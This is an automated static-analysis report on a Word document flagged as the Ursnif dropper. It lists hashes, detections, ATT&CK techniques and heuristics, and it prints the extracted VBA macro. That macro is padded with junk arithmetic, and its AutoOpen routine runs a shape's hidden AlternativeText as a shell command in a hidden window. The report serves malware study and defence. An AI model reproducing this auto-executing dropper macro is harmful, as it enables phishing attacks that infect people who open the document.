Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 7d9e3ddd34b3fad1…

MALICIOUS

Office (OLE)

69.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 85ce5728f706b3b2df845ffefaa17893 SHA-1: bb48f39b97b4eb7628821385663638d71608ccaa SHA-256: 7d9e3ddd34b3fad1faf05b3c2fce688f9e64f48808720b87534a39f99d0c92a1
142 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Ursnif-6864686-0. Static analysis revealed the presence of a VBA macro with an AutoOpen function, a common technique for Ursnif. The AutoOpen macro attempts to execute a command, likely to download and run a secondary payload, based on the AlternativeText property of a shape.

Heuristics 5

  • ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1895 bytes
SHA-256: b9bbcf8c338c528c347756f4aaef8c44091ae3dff4d143ee718dce2690f33394
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rvegafu"
Function xhyhyl()

Dim azXJmKBS As Integer
Dim plulisus As Long
azXJmKBS = 4022# - 5732#
Dim xqoci As Variant
xqoci = azXJmKBS - 9434#

Dim ksog As Integer
Dim rfoky As Long
ksog = 4620# - 9299#
Dim wzibyxipu As Variant
wzibyxipu = ksog - 9379#

Dim SyyJS As Integer
Dim UyYhBqrD As Long
SyyJS = 4992# - 3794#
Dim whowosyguga As Variant
whowosyguga = SyyJS - 3588#

Dim psucatafy As Integer
Dim JpnMzQY As Long
psucatafy = 6514# - 5446#
Dim htujyby As Variant
htujyby = psucatafy - 9310#

Dim kzul As Integer
Dim zWgXINi As Long
kzul = 7696# - 3876#
Dim fzubylegom As Variant
fzubylegom = kzul - 5470#

Set xhyhyl = ActiveDocument.Shapes(2)

Dim gBIijrC As Integer
Dim OytaVWGb As Long
gBIijrC = 9785# - 1776#
Dim SblMG As Variant
SblMG = gBIijrC - 1529#

Dim xxygapusik As Integer
Dim qciru As Long
xxygapusik = 7117# - 5849#
Dim twozisabod As Variant
twozisabod = xxygapusik - 6367#

End Function
Sub AutoOpen()

Dim pwtkC As Integer
Dim pzuvi As Long
pwtkC = 5494# - 8525#
Dim qfaturuze As Variant
qfaturuze = pwtkC - 2151#





Set jLzeb = xhyhyl

quYNc = xhyhyl.AlternativeText



Dim RKJpbo As Integer
Dim ndebowydeko As Long
RKJpbo = 7898# - 3058#
Dim sqeOv As Variant
sqeOv = RKJpbo - 6845#

Interaction.Shell@ _
quYNc, vbHide

Dim qloqek As Integer
Dim hRrOE As Long
qloqek = 5769# - 2794#
Dim hteceb As Variant
hteceb = qloqek - 8477#



Dim tsuzyvikol As Integer
Dim OIwRAIu As Long
tsuzyvikol = 8627# - 7581#
Dim QvSdZHt As Variant
QvSdZHt = tsuzyvikol - 5764#



End Sub